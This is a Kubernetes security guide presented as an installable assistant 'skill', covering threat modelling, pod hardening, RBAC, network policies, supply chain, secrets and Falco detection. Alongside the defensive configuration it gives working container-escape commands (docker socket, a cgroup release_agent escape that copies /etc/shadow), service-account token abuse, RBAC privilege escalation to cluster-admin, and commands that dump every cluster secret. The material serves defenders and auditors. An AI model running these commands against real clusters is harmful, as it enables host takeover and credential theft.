Hacking Kubernetes
Threat-driven Kubernetes security guide: pod hardening (securityContext/capabilities/seccomp), RBAC audit and privilege escalation paths, network policies (default deny), supply chain (Trivy/cosign/SBOM), container runtime isolation (gVisor/Kata), secrets management (Vault/External Secrets), OPA/Gatekeeper policy, and Falco intrusion detection.
- › Build Kubernetes threat models: identify attack surfaces, threat actors, attack trees
- › Harden pod security: securityContext, capabilities drop, read-only filesystem, seccomp
- › Identify and exploit dangerous RBAC misconfigurations — and fix them
- › Write network policies using default-deny approach
- › Secure supply chain: image scanning, signing with cosign, SBOM generation
- › Deploy and configure Falco for runtime intrusion detection
- › Apply Pod Security Admission labels (restricted/baseline/privileged) per namespace
Install this skill and Claude can audit Kubernetes RBAC configs for privilege escalation paths, harden pod specs with correct securityContext fields, write default-deny NetworkPolicies, design supply chain security pipelines with Trivy and cosign, and author Falco rules for specific runtime threat scenarios
A single misconfigured RBAC binding or overly permissive pod spec can give an attacker full host access or cluster-wide lateral movement — Kubernetes default configurations skip most hardening, and security engineers need to understand both the attack paths and native controls to build effective defense-in-depth
- › Auditing all service accounts with pods/create or clusterrolebindings/create permissions and generating least-privilege Role/RoleBinding replacements that eliminate the privilege escalation paths
- › Reviewing a production Deployment manifest and adding the full securityContext hardening block to close container escape vectors, then verifying it passes restricted Pod Security Admission
- › Writing Falco rules to detect a cryptominer in a container by flagging unexpected outbound connections to non-whitelisted IPs combined with anomalous high-CPU process names
Hacking Kubernetes Skill
Threat Modeling Framework
Kubernetes Threat Model Approach
- Scope the system component (pod, node, control plane, network)
- Data flow diagram — identify trust boundaries and data flows
- Threat actor classification — casual vs. motivated
| Threat Actor | Capability | Targeting |
|---|---|---|
| Script kiddie | Public tools (Nmap, Metasploit, CVE PoCs) | Broad, opportunistic |
| Motivated individual | Targeted exploits, supply chain | Moderate targeting |
| Insider | Deep system knowledge, credential access | Highly targeted |
| Organized crime | Dedicated resources, custom tools | High targeting |
| Nation-state (FIS) | Zero-days, supply chain infiltration | Maximum targeting |
- Attack trees — bottom-up: goals → logical OR/AND gates → entry points
- Cross-reference with: STRIDE, Microsoft Kubernetes Threat Matrix, MITRE ATT&CK for Containers, OWASP Docker Top 10
Kubernetes Attack Vectors (High-Level)
External attacker
→ Exploit network-facing pod (RCE)
→ Enumerate cluster via leaked kubeconfig
→ Supply chain: malicious container image
Inside pod (initial foothold)
→ Read service account token → API server calls
→ Escape container via privileged pod / capabilities
→ Mount host filesystem
→ Lateral movement via internal network
Control plane attacks
→ Compromise etcd (all cluster state + secrets)
→ Abuse misconfigured API server (anonymous auth, unauthenticated port)
→ kubectl exec into critical pods
Pod-Level Security
Security Context Hardening
# Secure pod spec — defense in depth
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault # restrict syscalls
containers:
- name: app
image: myapp:1.0
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"] # drop ALL Linux capabilities
add: ["NET_BIND_SERVICE"] # add only what's needed
resources:
limits:
cpu: "500m"
memory: "128Mi"
requests:
cpu: "100m"
memory: "64Mi"
Dangerous Pod Configurations (Attack Vectors)
# DANGEROUS — host namespace access
spec:
hostPID: true # see all host processes
hostNetwork: true # access host network
hostIPC: true # interprocess communication with host
# DANGEROUS — privileged container (full root on host)
containers:
- securityContext:
privileged: true
# DANGEROUS — dangerous capabilities
securityContext:
capabilities:
add: ["SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN"]
# DANGEROUS — host path mounts
volumes:
- hostPath:
path: / # entire host filesystem accessible
Container Escape Techniques
# Escape via docker socket mount
# If /var/run/docker.sock is mounted inside container:
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host sh
# Escape via privileged + cgroups release_agent
# (inside privileged container)
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo "cp /etc/shadow /tmp/shadow" >> /cmd
chmod +x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Check if inside container
cat /proc/1/cgroup # shows docker/ or containerd/ paths
ls /.dockerenv # present in Docker containers
# Service account token (always present in pod)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Use to authenticate to API server:
curl -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/pods
RBAC (Role-Based Access Control)
RBAC Architecture
Subject (User/ServiceAccount/Group)
→ RoleBinding or ClusterRoleBinding
→ Role or ClusterRole
→ Verbs on Resources (get, list, watch, create, update, patch, delete)
Dangerous RBAC Misconfigurations
# DANGEROUS — wildcard permissions
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"] # grants all permissions to everything
# DANGEROUS — create pods permission (leads to privesc)
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create"] # can create privileged pod → escape
# Also dangerous: secrets (get/list), serviceaccounts (create), rolebindings (create)
Privilege Escalation via RBAC
# Check current permissions
kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:mysa
# If can create pods: create privileged pod to escape
kubectl run pwn --image=alpine --privileged \
--overrides='{"spec":{"hostPID":true,"hostNetwork":true}}'
# If can get secrets: extract all secrets
kubectl get secrets -A -o json | jq '.items[].data | map_values(@base64d)'
# If can create clusterrolebindings: escalate to cluster-admin
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:mysa
Least Privilege Service Account
# Disable default token automount
spec:
automountServiceAccountToken: false
# Or create SA with no extra permissions and only mount where needed
apiVersion: v1
kind: ServiceAccount
metadata:
name: myapp
automountServiceAccountToken: false
Network Security
Network Policies (Default-Deny Approach)
# Default deny all ingress and egress in namespace
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {} # selects all pods
policyTypes:
- Ingress
- Egress
---
# Allow specific ingress from labeled pods only
spec:
podSelector:
matchLabels:
app: backend
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
Kubernetes API Server Attack Surface
# Check for anonymous authentication (very dangerous)
curl https://kube-apiserver:6443/api/v1/pods # should return 401, not 200
# Dangerous API server flags (audit for these):
--anonymous-auth=true # allow unauthenticated access
--insecure-port=8080 # HTTP port, no auth
--authorization-mode=AlwaysAllow # no authorization
--enable-admission-plugins= # missing pod security admission
# Audit logs: enable and monitor
--audit-policy-file=/etc/kubernetes/audit-policy.yaml
--audit-log-path=/var/log/audit.log
etcd Security
# etcd stores ALL cluster state including Secrets (base64, not encrypted by default)
# If etcd is accessible without TLS:
etcdctl get /registry/secrets --prefix # dumps all secrets
# Defense: encrypt secrets at rest
# kube-apiserver flag:
--encryption-provider-config=/etc/kubernetes/encryption-config.yaml
# config: use aescbc or secretbox provider
# etcd should only be accessible from API server — firewall off port 2379/2380
Supply Chain Security
Image Security
# Scan images for CVEs before deploying
trivy image myapp:latest
grype myapp:latest
# Use minimal base images
FROM scratch # no shell, no package manager
FROM gcr.io/distroless/static # minimal runtime only
# Sign and verify images
cosign sign --key cosign.key myregistry/myapp:latest
cosign verify --key cosign.pub myregistry/myapp:latest
# Admission webhook: block unsigned images (Policy: OPA/Gatekeeper or Kyverno)
Supply Chain Attack Vectors
1. Malicious dependencies in application code (Log4Shell pattern)
2. Compromised base image in registry
3. Malicious CI/CD pipeline step (build-time injection)
4. Registry tampering (pull-time attack)
5. GitOps: compromise source repo → modify deployment manifests
SBOM and Vulnerability Management
# Generate Software Bill of Materials
syft myimage:latest -o spdx-json > sbom.json
grype sbom:./sbom.json # scan SBOM for CVEs
# In CI/CD: fail build if critical CVEs found
trivy image --exit-code 1 --severity CRITICAL myapp:latest
Container Runtime Isolation
Runtime Security Layers
Hardware
→ VM / hypervisor
→ Host Linux kernel (namespaces + cgroups)
→ Container runtime (containerd, CRI-O)
→ Seccomp (syscall filtering)
→ AppArmor / SELinux (MAC policies)
→ Capabilities (Linux privilege drops)
→ Pod security context
→ Application code
Seccomp Profiles
# Use RuntimeDefault seccomp (blocks dangerous syscalls)
securityContext:
seccompProfile:
type: RuntimeDefault
# Custom profile: block specific syscalls
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/myapp.json
# Profile blocks ptrace, mount, pivot_root, etc.
Sandboxing with gVisor / Kata Containers
# gVisor (user-space kernel): strong isolation, performance overhead
spec:
runtimeClassName: gvisor
# Kata Containers (VM per pod): strongest isolation, significant overhead
spec:
runtimeClassName: kata-containers
Secrets Management
Kubernetes Secrets Weaknesses
# Secrets are base64-encoded (not encrypted) by default in etcd
kubectl get secret mysecret -o jsonpath='{.data.password}' | base64 -d
# Secrets appear as env vars or volume mounts — readable by any process in pod
# If compromised pod: cat /var/run/secrets/ or printenv
# Defense: external secrets managers
# Vault Agent Injector: inject secrets as files (not env vars)
# AWS Secrets Manager / Azure Key Vault via CSI driver
# External Secrets Operator: sync from external stores
Vault Integration
# Vault Agent Sidecar pattern
annotations:
vault.hashicorp.com/agent-inject: "true"
vault.hashicorp.com/role: "myapp"
vault.hashicorp.com/agent-inject-secret-config.txt: "secret/data/myapp/config"
# Vault agent injects secret as file, not env var
Policy Enforcement
OPA/Gatekeeper
# ConstraintTemplate: define policy logic in Rego
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
name: k8srequiredseccomp
spec:
crd:
spec:
names:
kind: K8sRequiredSeccomp
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredseccomp
violation[{"msg": msg}] {
not input.review.object.spec.securityContext.seccompProfile
msg := "seccompProfile must be set"
}
Pod Security Admission (built-in, K8s 1.25+)
# Namespace label to enforce policy level
metadata:
labels:
pod-security.kubernetes.io/enforce: restricted # strongest
pod-security.kubernetes.io/warn: restricted
pod-security.kubernetes.io/audit: restricted
# Levels:
# privileged: no restrictions
# baseline: prevents known privilege escalations
# restricted: follows pod hardening best practices
Intrusion Detection
Runtime Security with Falco
# Falco rules — detect suspicious activity
- rule: Terminal shell in container
desc: A shell was used in a container
condition: container.id != "" and proc.name in (shell_binaries)
output: "Shell used in container (user=%user.name container=%container.name)"
priority: WARNING
- rule: Write to /etc
desc: Write to /etc in a container
condition: container and fd.directory startswith /etc and evt.type=write
output: "Write to /etc in container (file=%fd.name container=%container.name)"
priority: ERROR
Key Events to Monitor
Kubernetes Audit Events:
- ServiceAccount token requests (unusual SA)
- exec/attach to pods (kubectl exec)
- ClusterRoleBinding creation
- Privileged pod creation
- Secrets access from unusual sources
Node-Level:
- New processes spawned in containers
- Outbound network connections to unexpected IPs
- File writes to /etc, /bin, /sbin
- Capability use (ptrace, mount)
Hardening Checklist
Control Plane:
☐ Disable anonymous auth on API server
☐ Enable audit logging with comprehensive policy
☐ Encrypt secrets at rest in etcd
☐ Restrict etcd access to API server only
☐ Use RBAC (not ABAC); disable ABAC
Node:
☐ CIS Kubernetes Benchmark (use kube-bench)
☐ Restrict kubelet anonymous auth
☐ Node authorization mode enabled
☐ Keep Kubernetes versions within last 3 minor releases
Workloads:
☐ Pod Security Admission: restricted namespace labels
☐ Network policies: default deny, explicit allow
☐ Non-root containers, drop all capabilities
☐ Read-only root filesystem
☐ Resource limits on all containers
☐ Disable automountServiceAccountToken where unused
☐ Scan images for CVEs in CI/CD
Supply Chain:
☐ Sign container images (cosign)
☐ Admission webhooks to verify signatures
☐ Generate and scan SBOMs
☐ Restrict registry sources (allowlist)
Detection:
☐ Falco or similar runtime security tool deployed
☐ Kubernetes audit logs sent to SIEM
☐ Alert on privileged pod creation, exec, secret access